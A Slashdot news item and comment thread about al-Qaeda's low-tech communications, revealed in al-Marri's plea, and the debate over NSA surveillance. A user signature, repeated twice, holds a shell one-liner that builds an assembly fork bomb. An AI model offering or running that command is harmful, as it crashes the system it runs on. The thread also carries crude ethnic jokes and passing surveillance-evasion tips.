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Al-Qaeda Used Basic Codes, Calling Cards, Hotmail
jd writes "In startling revelations, convicted terrorist Ali Saleh Kahlah al-Marri admitted that Al Qaeda used public telephones, pre-paid calling cards, search engines and Hotmail. Al-Marri 'used a '10-code' to protect the [phone] numbers — subtracting the actual digits in the phone numbers from 10 to arrive at a coded number.' The real story behind all this is that the terrorists weren't using sophisticated methods to avoid detection or monitoring — which tells us just how crappy SIGINT really is right now. If the NSA needs to wiretap the whole of the US because they can't break into a Hotmail account, you know they've got problems. FindLaw has a copy of al-Marri's plea agreement (the tech-related information begins on page 12), and the LA Times has further details on his case."
The real story behind all this is that the terrorists weren't using sophisticated methods to avoid detection or monitoring â" which tells us just how crappy SIGINT really is right now. If the NSA needs to wiretap the whole of the US because they can't break into a Hotmail account, you know they've got problems.
No, no I don't know that they have problems. You have presented little to no proof they have problems. So your suggestion is that they not only wiretap the whole US but also break into every e-mail account they suspect of terrorist activity?
Yes, sometimes the simplest precautions can thwart the greatest and most expensive intelligence gathering equipment and teams. You have to live with that. I am not defending their actions to wiretap all or even part of the United States but, please, tell us how they were supposed to know that this was the Hotmail account they wanted to crack without doing anything illegal to get this information. I mean, hindsight is 20/20 but you apparently have some gift so tell us how you would have known which e-mail account to crack into. Boy, it sure must be easy to criticize a case when you know just enough details to make you a genius investigator.
I guess I didn't expect to find the kind of stupidity on the front page of Slashdot complaining that the National Security Agency's civilian e-mail surveillance isn't up to snuff while sneaking in a jab about their phone surveillance being too pervasive.
My work here is dung.
While the rise of Al Qaeda and the need to keep on top of terrorist networks helped put the NSA in the spotlight, the scope of its interception capabilities has expanded regardless of the threat of terrorism. James Bamford's Body of Secrets charts the rise of massive interception in the 1990s and links much of the NSA's activity to economic espionage against foreign businesses, as Clinton wanted to "level the playing field." The NSA was just returning to the happy-go-lucky violation of privacy for the gain of a few that Carter put at bay in the 1970s.
Certainly there's been plenty of ink spilled about how a more serious attempt to stop Al Qaeda would involve greater human intelligence, but the CIA found its clandestine services cut just as the NSA became favoured.
Ok thats it! We need to ban public telephones, pre-paid calling cards, search engines and Hotmail! I have also heard that the terrorist eat food! If we ban all production of food we will starve those bastards to death! Who is with me!
John Carmack fan, browsing at +5 since 1999.
On TV, intelligence agencies can break any code before the commercial break. In real life, it's a little bit different.
"The average reporter we talk to is 27 years old......They literally know nothing." - Ben Rhodes
This is not a surprise of any kind to those of us who work in the security field. This is another clear cut case of something that used to be called "crating" (no idea if its called the same thing now), which is basically when you get a bunch of really smart people together, stick them on government payroll, and then don't allow them to talk to anyone outside the crate until all they produce is irrelevant garbage.
Then the government complains that their intelligence is crap. The reason their intelligence is crap is straightforward: They underpay people who aren't qualified to do the job in the first place. I'll never forget the CIA's little career day at my University, many a winter moon ago, when I asked the spook behind the little folding card table how much a job in intelligence paid. 33K to start, he said. I laughed and moved on to the next table, where someone in the private sector was offering 100K for a similar, but much more interesting position that I didn't have to move to Virginia to take.
So the CIA guy went home with half a dozen apple-faced applicants who were only too glad to take a ridiculously tiny salary for their huge amounts of effort, all in the name of protecting the American Way.
So really, what they hired were a bunch of pinheads prone to blind patriotism and the eating of ramen noodles.
And now here we are, everyone they couldn't afford to hire telling them that none of this is any sort of surprise, and them being all kinds of surprised. It'd be funny if it wasn't so pathetic.
SIGINT isn't the right tool for tracking terrorist cells anyway. They don't generate enough signals.
I mean, you can tap and analyze every cable satellite and radio transmission in the world and still be completely oblivious to a small group of people in a basement somewhere.
What's needed is informers, agents and detective work.
because they can't break into a Hotmail account, you know they've got problems
Well, presumably they couldn't break into it because they didn't get a warrant. This is a Good Thing in principle. You don't want the government randomly breaking into e-mail accounts that are "suspect" do you? Then there is always the question of how do you know what e-mail it is? Unless they were subscribing to some terrorist newsletter, how do you distinguish a terrorist from an ordinary person?
Taxation is legalized theft, no more, no less.
A. What exactly is a foreign business? All mult-national corps are foreign businesses.
B. I'm supposed to believe Clinton of all people was a hero for nationalist businesses? He's the same guy responsible for the outsourcing crisis.
The NSA protects federal businesses, that is the businesses which do or have contracts with the NSA, that I can believe. I can also believe that the NSA would do espionage against the business community. But when you talk about foreign this and foreign that, there is no agreed upon definition of what is or is not foreign.
If the NSA needs to wiretap the whole of the US because they can't break into a Hotmail account, you know they've got problems.
The NSA doesn't need to wiretap the whole US to break into a Hotmail account. That's just their justification. That jd is only now coming to this realization just proves how well this justification has actually worked.
Lols. Hotmail. Those things are spam-magnets. Should keep them too busy to do anything terrorist themed.
If we could just somehow get most everyone in the world addicted to frequently publishing short bursts of information on a public channel, more specifically answers to the "What are you up to?" question ...
Twitter is the NSA's answer to wiretapping allegations. That's why it's able to grow so quickly without a business model.
10: INPUT "WHO ARE THE INFIDELS", A$
20: PRINT "1. DEATH TO ", A$
30: INPUT "ARE THE PEOPLE STILL ENRAGED?", B$
40: IF B$ = "N" or "n" THEN GOTO 10
50: PRINT "2.
60: PRINT "3. Profit!"
70: END
While discussing this exact type of crime with a cop (of sorts) who deals with this stuff day to day, his opinion can be summarised as followed:
- Throw away cell phone sim cards are good
- Throw away cell phones are better (Unique ID)
- Letter writing is safer than using a phone
- Having a conversation is safer than writing a letter
I am paraphrasing him now but he said something like "I would never touch a piece of technology if I didn't want to get court."
PS - Terrorist cells are unique and individual.
It's because terrorists are stupid.
The US intelligence agencies and the government in general are not keeping up with the private sector in terms of pay. It's obvious that to attract the best talent to do the most important jobs in the world, you have to give them first rate pay. That being said, the pay for working CIA is definitely going to be better than any of the other government agencies around the world. The US government will give more money than some of these other governments so from a government perspective the pay isn't so bad.
From what I see in the news article, if Al-qaeda were using these 10-codes which are extremely simple, this if probably precisely why the NSA didn't catch it. All the datamining looking for sophisticated signals for what? I'm surprised Al Qaeda even used computers, but if they did use them I'm not surprised they used them in this way.
The US gov is going to have to stop terrorism using human intel, combined with this technology they are developing. I don't think technology to scan the internets for activity will reveal anything useful. I would like to see some instances where this datamining has actually prevented an attack of served military objective.
Edoc repus sith edoced nac yeht fi rednow
It's one thing to wiretap a bunch of people who grew up with and rely on technology. It's another thing to wiretap people who operate with or without technology. I don't think wiretapping can stop terrorism but I'd like to see some instances of success.
I'm tired of the government claiming we need all these spy powers and invasions of privacy, when they offer no proof that any of this has ever served a military objective. Maybe it serves political objectives but what are the military objectives and rationales for doing this? Will it make the troops safer in Iraq?
What you are saying is they cannot legally/overtly break into the account without a warrant. But as a part of a covert operation yes they can, because the operation itself is classified and off the books, nobody knows it ever took place.
I don't know where this concept came from that this crime had to be high tech.
I know, I know, the initial response from some was that the alleged terrorists weren't smart enough to come up with this and some morons ate that up. Even this past winter I had someone tell me that the terrorist plot was too sophisticated for a non-government entity.
There is nothing surprising about this. Aside from piloting the planes this plan had all the sophistication of a junior high word problem in a mathematics course.
"If Habbib leaves Boston at 7:20 AM and Mohammad leaves Washington D.C. at 7:35 AM what time will they get to The World Trade Center?"
Dedicated Cthulhu Cultist since 4523 BC.
Brush up on your Koran. Get your wife into the habit of wearing a black bedsheet and walking 6 feet behind you. Because the Terrists are gonna take over when they discover Renaissance Era encryption. If the world has spent billions responding to a bunch of thugs who used simple methods to cause murderous mayhem, then when they use slightly more sophisticated means to accomplish their aims, we will have to spend TRILLIONS to defeat them. TRILLIONS I TELL YOU!
Man. I dunno. Between the Beaufort and Vigenere, I think we're cooked.
RS
Shoes for Industry. Shoes for the Dead.
The problem is that it's brittle.
You can use "10-codes" or any other arbitrary "x-code" but if you use it more than once or twice, people will catch on.
But that's hard...
Who are you? The new #2 Who is #1? You are #617565. I am not a number, I am a free man! Muhahaha.
If they just look at the NSA's electric bill they will see that the NSA is primarily focued on detecting signals. You'd expect that any terrorist with half a break would avoid using signals.
There is no technological way to fight terrorism, technology helps the troops in the field but it does not do the job. Humans have to do the job. Just like we cannot expect AI or robots to fight crime. Humans have to do the real work.
Legislation outlawing prepaid phone cards without recorded ID in the U.S. in 5, 4, 3 . . .
One CPU cycle wasted on digital restrictions management is ONE TOO MANY.
Of course they are going to use pre-paid cards and phones. They are anonymous, disposable, and short-term use. In the time it takes for authorities to realize that number/phone is being used by a subject, that subject has already ditched it for a new one. The summary acts like this is a new revelation, but it has been going on for a long time, and has been known by intelligence services for a long time as well. What's next? "New information reports that terrorists are using substitution ciphers!" Uh, duh. Subversion and secret groups have always known about the importance of anonymity,even amongst themselves. That is why many groups use several levels of cut-outs between cells, so that no one person can identify or lead authorities to more than 1-2 people.
The only thing necessary for evil to triumph is for it to be pitted against a slightly greater evil
Let's see the Al Qaeda inbox a moment:
230 dead as storm batters Europe -- Storm Botnet
Make Money Fast ---- Dave Rhodes
REQUEST FOR URGENT BUSINESS RELATIONSHIP ----- Nigel Soladu
LETS BOMB TWIN TOWERS ---- Osama Bin Laden
Magically grow 3"!!! ---- Miraclgrowz
I AM FORMER MINISTER OF FINANCE FOR BANK OF NIGERIA ---- CLEMET OKON
How did they plan anything like this?
Karma Whoring for Fun and Profit.
has probably the worst signal-to-noise ratio ever, unless you already know where to find what your looking for
al-qaeda-mailing-list@hotmail.com might have given it away.
I say don't drink and drive, you might spill your drink. Before you get behind the wheel just stop and think.
I think the point is that this illustrates that the erosion of privacy we have seen has been based on a false premise.
gmail does sometimes show quite relevant ads so maybe the NSA should buy some adwords and check the accounts of those that click on www.discount-nukes.com?
The point is that by using minor obfuscation terrorists can evade all the pervasive surveillance there is, while that same surveillance will pick up anything spoken in innocence by people not using such minor obfuscation.
In other words, it's proof that pervasive surveillance is *not* a technique for catching terrorists, which leads to the obvious question - what is it a technique for doing?
The dastardly part of all this is that the NSA/CIA may not be allowed to disclose all of their successes. Methods and processes that produce good intelligence have to be protected from public disclosure. For all we know, Hotmail has been cracked and the NSA/CIA made a false disclosure to get the terrorists all happy about their ability to elude the vaunted three-letter agencies. I mean, when the FBI makes an arrest based on an informant, they make sure to bust the informant as well, even making sure to smack him around a little so as to allay his concerns.
It's entirely possible that the intelligence organizations suck, but perhaps they have successes that we would not know about for decades. The "secret killing program" in Iraq sounds like one of those things.
A NYC lawyer blogs. http://www.chuangblog.com/
It's not too hard.
Put a bug in their basement.
``Mebbe Microsoft will finally take a tumble for aiding terrorists.''
Unlikely. Now, maybe if it had been Bittorrent. Or tor.
Please correct me if I got my facts wrong.
SIGINT will never be as good as a man on the ground. Our national intelligence agencies have become scared of taking risks. A satellite doesn't risk capture and torture. After all, there are 89 stars in the CIA wall, and no one wants to add another one during peacetime. But you just can't help think what we could have done if we maintained our aggressiveness with HUMINT during peacetime. A white guy named John Walker Lindh was able to walk into Pakistan and get a face-to-face meeting with Bin Laden after a few months. Now Al Qaeda is all on guard so it's tough to compromise them. But peacetime would have been the best time to break into their organizations, though civil liberty folks might freak out.
A NYC lawyer blogs. http://www.chuangblog.com/
how completely clueless it is. Let's see ...
(1) The NSA doesn't wiretap the US. For all the hysteria, the NSA is only looking at calls crossing the border. Inside the US its FBI, and the Feebies are very jealous of that.
And it certainly doesn't wiretap the whole US, because there's so much ohone traffic and 0.999999 of it is uninteresting.
(2) Could the NSA hack -- could DoJ simply subpoena -- the contents of a hotmail account? You bet ... but which hotmail account? alQaedaDeathtoAmerica@hotmail.com? Or fluffibuni387? Or what?
(3) Now, with prepaid phone cards etc. If I'm getting this, you're saying NSA is bad because they can't get intel from something like a prepaid phone. Now think it through: Achmed al Boomaboom goes into WalMart, and buys condoms, a bag of Fritos, and a prepaid phone. He makes six "busines" calls, talking in code words, calls a hooker, and throws the phone away. How is the NSA supposed to figure out which phone it is, and capture the phone calls, before he pitches the phone.
More to the point, how can they intercept those phone calls without intercepting all calls, or at least all prepaid cell calls?
"The bread is blue".
(Let's see how 'SIGINT' decodes that...)
No sig today...
I thought I had it but I lost the track at the third word.
Sith... sith... maybe it has something to do with Jedi?
Mit der Dummheit kämpfen Götter selbst vergebens
"...has been based on a false premise."
I think you misspelled 'lie'.
The NSA knows exactly how well SIGINT works against terrorists who use code words, personal ads in newspapers, etc.
The terrorists also know how ineffective the NSA is against such things.
The government selling wiretapping on the basis of catching terrorists is a very transparent lie.
No sig today...
"If the NSA needs to wiretap the whole of the US because they can't break into a Hotmail account, you know they've got problems. "
Maybe they don't care about that. Maybe they are after something else entirely. And you have been fooled by the excuse of Al-Quida. You don't know what Intel they are after. Probably gaging how much people are pissed off about taxes, or NY flyby coverups or such.
Its called Strategy.
They Live, We Sleep
0 stays 0. It's a digit-for-digit substitution.
No, but it means spending on people in the field, rather than generating big hi-tech budgets with cool buzz-words, and your own personal fiefdom. Security takes second seat to "oh, shiny." Always has (just look at car designers resistance to incorporating safety features).
Just try with modulo 10?
for digit in number:
newdigit = (10 - digit)%10
915650644 -> 195450466
195450466 -> 915650644
Wow, it works?
You may be onto something.
Have you considered applying for a job at your local government's intelligence agency?
From your keen understanding of codes and cyphers, seems like you may be just the kind of expert they are looking for.
Mit der Dummheit kämpfen Götter selbst vergebens
that the salary offered was intentionally low? Maybe, just maybe, they're looking for people willing to serve their country regardless of wages. $33,000/year to start is horribly low for a degreed job, I'll agree. That said, it is a livable wage especially if you love what you're doing and you make liberal use of the office cafeteria for breakfast, lunch and dinner. Long hours worked, sure, but I think that's par for the course at that place.
I mean, you can tap and analyze every cable satellite and radio transmission in the world and still be completely oblivious to a small group of people in a basement somewhere.
Is that a reference to /.ers?
jk
Are you CIA or NSA? No wonder AQ fooled you.
Free Manning, jail Obama.
. If the NSA needs to wiretap the whole of the US because they can't break into a Hotmail account, you know they've got problems.
Leaving aside generic Slashdot-brand Microsoft-hating, why should a Hotmail account be particularly easy to break into? Besides, I'm sure Microsoft would quite happily co-operate with any investigation, providing the NSA access to a suspected terrorist's account on demand, thereby circumventing the need for any "breaking in".
You can take a job in private sector in one of those shady analytic think-tank companies, and contract with the CIA for considerably more money than they pay their own people. This would let you satisfy your patriotic urges and actually live in a reasonable tax bracket.
I will not be pushed, filed, stamped, indexed, briefed, debriefed or numbered. My life is my own.
Mebbe Microsoft will finally take a tumble for aiding terrorists.
Vista: You are about to engage in a terrorist operation. Cancel or allow?
Terrorist: Allow.
Vista (BSOD): I'm sorry, A problem has been detected and windows has been shut down to prevent damage to your computer, yourself, and society. If this is the first time you've seen this Stop error screen, restart your life.
Your above average 'teacher' knows not to trust anything electronic.
Electronics are for the students. If caught?
"It enters the lines on its forum or else it gets the hose again."
Not much use to the CIA.
Yahiya Ayyash, "the Engineer" had his cell phone turned into a bomb in 1996.
Dzokhar Dudayev (President of the Chechen Republic of Ichkeria) was killed via laser-guided missiles when he was using a satellite phone in 1996.
The NSA is said to have helped.
The idea that *any* leadership material would touch anything trackable is strange.
Unless its to bait some quality PR about drones over Pakistan.
The idea that they look to spread a " "Click for Change" message in blog and video form is a known.
Another good part is the DoD can see how its South African designed mine-resistant and ambush- protected vehicles are doing.
Heavy duty encryption glows in the dark on the net. If the NSA is not interested, then the FBI or Interpol will be, thinking it is sexual in nature.
Keep it light and it will drift past.
Domestic spying is now "Benign Information Gathering"
SIGINT isn't the right tool for tracking terrorist cells anyway. They don't generate enough signals.
Yeah, I think you might be right. I suspect what this really means is that they're incapable of actual, old-style spy-work. Here's what a CIA Near-East operative said:
"The CIA probably doesn't have a single truly qualified Arabic-speaking officer of Middle Eastern background who can play a believable Muslim fundamentalist who would volunteer to spend years of his life with shitty food and no women in the mountains of Afghanistan. For Christ's sake, most case officers live in the suburbs of Virginia. We don't do that kind of thing." A younger case officer boils the problem down even further: "Operations that include diarrhea as a way of life don't happen."
That's from The Atlantic's The Counterterrorist Myth:
http://www.theatlantic.com/doc/200107/gerecht
Pay some unmarried dude 20 million a year to live this shitty life in return for his services and, additionally, pay well some willing prostitues to be shipped in secret CIA planes to have fun with him secretly - call it "operation secret panties". Are there too many religious right-wingers at the CIA for ideas like this to stick?
Main difference between the BSD license and the GPL license: one is from California and the other is from Massachusetts
Why don't 'Al-Qaeda' use PKI encoded Usenet messages like the rest of the security services? And what ever you do don't draw attention to yourself by engaging in fraudulent activities. And of course the evidence he was a sleeper agent was he did absolutely nothing at all ..
davecb5620@gmail.com
Oh, wait, prostitution is illegal in the US, right? Then cooperate with the Netherlands. Hehehe.
Main difference between the BSD license and the GPL license: one is from California and the other is from Massachusetts
This just goes to show how full of sh*t those who said, "I've got nothing to fear, I've not done anything wrong, support the government [waterboarding/wiretapping/warring/whatever] to keep us safe", actually are.
The PATRIOT act, erosion of constitutional freedoms, secret courts, extranational torture, gutting of privacy protections, every thing that the government did since 9/11 was to increase their control over US citizens, not to protect them from maniacs using aircraft as cruise missiles.
Funny how getting to say "I told you so" in this case feels less like vindication and more like mourning.
Some days it's just not worth
chewing through my restraints.
...people who could be making more flipping burgers.
So as to, when their vision of patriotism seizes to match with the government approved version - they will have absolutely NOTHING to stop them selling government secrets to... say... Albanians.
Hey! It's not like the government was going to pay for their house, car and TV payments or put their kids through college.
Mit der Dummheit kämpfen Götter selbst vergebens
face it, you are not going to ever stop a determined enemy, you just aren't. consider that a truly free society does not need a government to monitor it's enemies and citizen's telephone calls or emails, because a truly free society cannot be monitored, killed or destroyed.
After putting roaches, beetles and plant lice in their basement, they soon realised the futility of the operation and they called it off.
Putting bugs in peoples basements doesn't work, it only makes the basements icky!
Knowledge is power. Knowledge shared is power lost.
Back last summer, I took a grad school course in Signals Intelligence, and one of the things I had to read was a paper by Matthew Aid titled "All Glory is Fleeting," which was about the use of Sigint prior to 9/11. It was quite a surprising paper, because the one word I would never have thought to use for Al-Qaeda was "incompetent."
But, in fact, in their early years, they were. Up until about 1997 or 1999, their signals discipline was nonexistent. They gave bin Laden a satellite phone (because, frankly, Afghanistan is the worst possible place in the world to try to run an international terrorist "organization" from - I say "organization" because Al-Qaeda doesn't strictly exist as an organization...it is instead a network of networks with very loose ties from one cell to another), and the NSA listened in to every phone call. And, by the way, in these phone calls, the various terrorists talked openly about their operations. So, the NSA passed the information on to the appropriate police force, and terrorist ops went bad, one after the other.
At some point, though, Al-Qaeda clued in to the fact that the satellite phone was being listened to. One story goes that the Washington Post leaked it, and terrorists read the newspapers too. So, the phone went silent, other means of communication were used, and Al-Qaeda ops actually began to work.
Sigint isn't easy to sort through at the best of times, though. You have to first pick out the signal (relevant material) from the noise (irrelevant material and deception), and then figure what the signal actually means. So, if a Saudi under suspicion talks on the phone about going to the United States for a "business meeting," it could mean that he's meeting members of a terrorist cell...or going to an actual business meeting...or he could be cover for somebody else going to the terrorist meeting. Incompetent Al-Qaeda was easy when it came to sorting the signals from the noise - current Al-Qaeda isn't.
Robert B. Marks
Author, Demonsbane in Diablo Archive
The left is aghast at federal firms monitoring conversations... but the same left would have absolutely no problem with forcing vehicle inspections, requiring employers and banks to hand your income to the federal government, beating the heck out of the swiss to allow access into foreign bank accounts, tracking the flow of carbon to monitor everything we burn, allowing uav overflights to monitor co2 emissions, all in the name of saving the planet and ensuring businessman pay their taxes and the planet is safe.
Conversely, the right wing could do without any of this. Keep the census as just a count, screw all the forms and taxes and filings and inspections you have to do the government. Compared to that, having your phone listened to is a lot easier. Government reporting is so intrusive and so heavy handed any more that if the government just said, let's just read your email and you don't have to fill out any more forms with us, it would be a GODSEND to 90% of the people who actually run businesses.
The biggest joke is that, we talk about all the intrusiveness of wiretaps, but look at all the forms we are REQUIRED to fill out to the IRS, the Commerce Dept, the local Depts of Transportation, and more, not to mention the Census - and the thing is, all of this data, regardless of party, is going to be a politicized fraud anyway.
Weighed against that, I think it is reasonable that for some people, who are already caught up supplying the government with a bunch of information, to wonder why not just go and wiretap everyone if it nabs a few terrorists. The government is way beyond spying, on us, in reality, it is forcing us to turn over mountains of information to it already. Spying is chump change compared to what we already do.
If you really want to get government out of monitoring you, then lets get rid of all the OTHER forms and inspections the government makes you do.
This is my sig.
The smart terrorists use a 9-code.
El qaeda etc are all fake reasons. They still want to snoop all your internet, wiretap youir phone, log your mobile phone, etc. Call it NWO, Big brother or whatever. The Qaeda reason is just a media buzz-word.
There weren't much signals at all.
If I remember, they weren't sending the emails, they were using the drafts folder as a dead drop.
As someone who is interested in some of the Analyst jobs at the CIA what are the civilian equivalents?
Competitive Intelligence. Go to some meetings of SCIP if you get the chance. It's not uncommon for ex-CIA/FBI/etc analysts to end up doing competitive intelligence because the skill sets overlap significantly. Having financial/accounting as well as research skills (think library research) and phone skills are basically pre-requisites.
Most large companies have some sort of competitive intelligence group though they call it various things. IBM, Ernst & Young, Price-Waterhouse, Microsoft, Deloitte, Anheuser-Busch, Boeing, and many more. It's essentially a job writing strategy memos and presentations for company big-wigs. Not a bad gig if you have the interest.
No, no I don't know that they have problems. You have presented little to no proof they have problems. So your suggestion is that they not only wiretap the whole US but also break into every e-mail account they suspect of terrorist activity?
Man do I love it, when people arrogantly just interpret things like they want, and then attack others for the meaning of that interpretation... :\
Your problem seems to be, that you did not notice that there is another option, than just doing global wiretapping or e-mail-account cracking on everybody they "suspect".
What i think GP meant, and what I think is right, is that to work as intended, the NSA should have determined the "terrorists" good enough to get a fully acceptable court-order, which then would give them the right to wiretap/crack anything.
Them not doing so is proof of how fucked up they are.
So GP likely did not mean that they ran into any obstacles, but that they got real problems in their "mind".
But of course we're talking about an organization which rapes the constitution, and a bunch of lazy retards not kicking their asses for doing so. Yay.
Any sufficiently advanced intelligence is indistinguishable from stupidity.
No. What's needed is threatening, bombing and invading foreign countries.
Any patriot worth his/her salt knows that.
Res publica non dominetur
How you obtain that they are planning to attack the country from the inside?
Well, wanna know how I would have done it?
I would have made some of my agents building a fake terroristic organization, and building contacts. I would have started that not after 9/11, but as soon as I heard Al-Quaeda existed, and did hate the US.
Then by the time they were actively planning to go on the planes, my agents would sit right next to them, knowing all their friends.
With all the proof you need to do whatever you like with them, 9/11 would never have happened.
But hey, as far as I know, Bin Laden was their agent. Go figure...
Any sufficiently advanced intelligence is indistinguishable from stupidity.
"alleged al-Qaida operations mastermind Khalid Sheikh Mohammed intended to use his free Hotmail account to direct a U.S.-based operative to carry out an attack .. He used a "10-code" to protect the numbers -- subtracting the actual digits in the phone numbers from 10 to arrive at a coded number, according to a person close to the investigation"
.. a bachelor's degree from Bradley University in Peoria, Illinois, in the early 1990s, and was returning to the United States to obtain a master's degree from Bradley"
"Qatari citizen Ali Saleh Kahlah al-Marri, a computer science graduate student at Illinois's Bradley University
davecb5620@gmail.com
considering that these guy's were tortured it would be very premature to do anything based on this information.
...please, tell us how they were supposed to know that this was the Hotmail account they wanted to crack...
That's easy - that's what torture is for.
That could have been the solution to a lot of the CIA's problems. I wonder if they would have gotten more info out of suspects had they rendered them off to the Netherlands instead of Syria.
Rule of Slashdot #0: You and people like you are not representative of the larger population. - A.C.
But then again, why confuse the author?
I am very small, utmostly microscopic.
Yes. They should use 9-code.
What's needed is informers, agents and detective work.
Maybe the NSA should just start posting on 4chan.
Policework is hard, let's try waterboarding.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's a shame 4chan wasn't around when bin Laden's phone number was published in court documents
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Taking it a bit further, contrary to the claims of "startling" revelations in the simplicity of Al Quaeda counter intelligence techniques it should be of no surprise. And who in the United States intelligence agencies claimed the NSA was not capable of and did not crack these pathetic techniques?
What I'm sure is only a small percentage of the information available in the September 11 Commission report suggests there were bureaucratic blunders rather than outright intelligence failings.
While a wire tap into every phone connected to a super computer for analysis works wonders in a Bat Man movie, somehow I doubt it would be that simple or that effective in real life. I don't recall anyone in Gotham city speaking Arabic or using code words. And more importantly, how many innocent people would have their rights violated not just by the wiretapping but by further investigation and false accusations, and how often would such activity be used for ulterior political motives?
The fact is the now public knowledge of Al Quaeda intelligence techniques tells us nothing of the NSA's capabilities or how much they really knew prior to September 11th and illegally wire-tapping an entire nation is likely no silver bullet that will prevent future attacks and as history has shown will likely be used for political reasons.
Silly Arabs! They were said to be great mathematicians once. Now they stare as if they have never seen a zero in their life (at least in phone numbers). The Mujahideen University should promptly revise the math curriculum for freshmen (no freshwomen allowed at our school, sorry).
Ezekiel 23:20
The summary (I did not RTFA), there is no mention of using IRC. Though in one of the channels the other day, Osama was there!
Here's the transcript as I remember it:
#WindowsHelp
IBeenHiding > mi Windoze crashed, hlp!
j89423432 > fu noob, g00gle it!
IBeenHiding >???? need hlp plz!
j89423432 > ha ha ha !!!!
IBeenHiding > shut up! i am da Al-Queda leadr
j89423432 > ????
IBeenHiding > it is me Osama
j89423432 > F U! No you're not!
IBeenHiding > stop it. I am Osama you ass!
j89423432 > ok i believe u
IBeenHiding > thnk u, kneel b4 me!
j89423432 > look behind u
IBeenHiding > ???? is that u
j89423432 > this is da CIA
IBeenHiding > oh shit!
j89423432 > UR dead!
IBeenHiding has left the chat room
Whew! It's a good thing that the car manufacturers know exactly what it takes to stay profitable! You can be pissed because they don't incorporate the latest 'safety features' but they have a business to run! They aren't a charity!
And it's a cold, cruel world out there! It's not like if they were dying that people would just pony up billions of dollars to keep 'em afloat, now, would they?
US cars are the best in the world, too. They last longer, they are more precisely made, they -
What's that you say? Really? Are you kidding? They did?
Never mind.....
I have no problem with your religion until you decide it's reason to deprive others of the truth.
Its not like the NSA would ever think to monitor all the connections into and out of Hotmail, and Yahoo Mail. That would NEVER occur to them.
People tell anything anyway when you torture them...the information is probably useless and only what the interrogators wanted to hear.
Let's see...
- They bombed three highly defended buildings without using a single bomb.
To achieve this, they:
1) Identified weaknesses in the security at airports.
2) Identified weaknesses in the American response to highjackings.
3) Identified weaknesses in the immigration protocols of the US.
4) Lived for a set number of weeks in the US while (nearly) avoiding complete detection.
5) Evaded signal interception while carrying out worldwide communication.
Piloting the planes was actually the trivial part of this operation.
Your complaint that this was a junior high word problem is like complaining that the magician just used a mirror, a trap and a body double to perform the trick, and that there wasn't any actual magic involved. If you would have figured out the operational details of the attack while the WTC was still burning, I'd have been impressed. Instead, I just see someone whining that there wasn't enough magic.
Those who can, do. Those who can't, sue.
Hahaha! You're probably right!
Main difference between the BSD license and the GPL license: one is from California and the other is from Massachusetts
Waterboarding is hard, let's go gadget shopping.
Ignore this signature. By order.
This means that the "terrorist" justifications for citizen-rights-removing legislation like the RIP Act in the UK were of course completely unjustified by the evidence, but we all knew that.
Banning these items was my first thought also, but let us not forget the clear benefit such bans would have against those who are intent on abusing children.
I think that in retrospect, you can see that the food issue is a bit silly, all people need food, and have since time began.
But a ban on the internal combustion engine, a much more recent invention, would have a devastating effect on the terrorists, while also gaining benefits such as the massive reduction of a need for foreign oil, generation of greenhouse gasses, the ability of Wal-mart to displace 'Main Street', the size of the Government bailout of auto manufactures, urban sprawl, DWI rates, noise pollution, industrial farming, drug distribution, arms exports, and countless other benefits, including huge domestic job creation. All of this benefit, all from the ban on one simple technology. Yes - some will violate the ban, but discovery should be fairly easy and the case simple to prove and prosecute.
If we also ban the fairly recent practice of generating electric power, we will see another amazing series of benefits. The ability of the NSA to detect and intercept signals will be reduced to almost 0. The use of nuclear power plants and their dangers, as well as those of compact florescent lamps, powerful low frequency EM fields - such as living under high tension lines, e-cycling, MRI testing, use of chlorofluorocarbons, use of cell phones for planing of terrorist's events, power wielded by Microsoft, credit card fraud, encrypted email, dangers of server crashes, car alarms, effect of tv advertising in political elections, off-shoring of tech support, telemarketers, flash-mobs, and again other items of almost endless variety will be reduced to almost nothing.
And think of the children, no violence on tv, no loud rock music, and no internet child porn.
Just so many benefits, for both children and those where once children, with the ban of two simple items
Comment removed based on user account deletion
Security takes second seat to "oh, shiny." Always has (just look at car designers resistance to incorporating safety features).
The sad thing is, that resistance from car designers is based on consumer demand. In other words, for car buyers, safety takes backseat to "oh, shiny" too. Car manufacturers can be criticized for wanting safety to take a backseat to profits, but consumers are the ones creating demand for "oh shiny" over safety features.
To justify that USA was able to find out this INCREDIbLE information ZOMG!!11!! through torture, and look at the POSITIVE results.
that is the real story here people.
SIGINT isn't the right tool for tracking terrorist cells anyway.
Absolutely. It's SIGUSR1 if you want it to print statistics out. Then you can send a SIGHUP, SIGTERM, or SIGKILL, as necessary.
Personally I saw "Used Hotmail" and thought "Why don't they just ask /b/ the hack 'em?"
The liberals shoot that plan down every chance they get. In the 70's the NY Post published the names of every agent in the middle east. Continuous congressional investigations do the rest. So much for HumInt.
- High Tech workers, please say NO to Union Carpenters, their Union sees fit to control our compensation.
I can't even believe you said that. Your implication that I am an idiot has not gone unnoticed!
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
if you think movies and tv shows like "24" are real life. grow up.
--
Stay tuned for some shock and awe coming right up after this messages!
"convicted terrorist"
Let's at least get our terminology correct. He hasn't had a trial yet; thus, he's not been convicted.
Note that I'm pretty damn certain he's guilty. However, with the strong allegations of torture, he might not be convicted in a court of law under the fruit of the poisoned tree doctrine.
Also, it would take some pretty limber gymnastics to find he's innocent. Namely, he's either (1) never confessed and the government is completely lying to us, or (2) been tortured into giving a false confession.
Additionally, you'd have to believe that every good info he's given us was really given by someone else and then blamed on him.
Suffice to say, he's guilty-in-fact, but he's not been convicted.
The sad thing is, that resistance from car designers is based on consumer demand. In other words, for car buyers, safety takes backseat to "oh, shiny" too.
...Like those morons with those stupid fucking St. Christophers or rosaries that we see hanging from rear-vision mirrors... I often wish I could apply a cluebat to the driver to tell him/her to learn to drive properly rather than relying on divine providence. [/rant. Sorry about that...]
Hmmm. Not sure about that. I see so many cars with labels on them proclaiming that they have air-bags here, there and everywhere. My impression is that they are trying to tell us that the driver has an air-bag instead of a brain.
[rant]
Then by the time they were actively planning to go on the planes, my agents would sit right next to them, knowing all their friends.
My agents would have slipped them a date-rape drug, and re-routed them to Club-Gitmo for um... therapy.
- High Tech workers, please say NO to Union Carpenters, their Union sees fit to control our compensation.
1984 called, it want's its brother back.
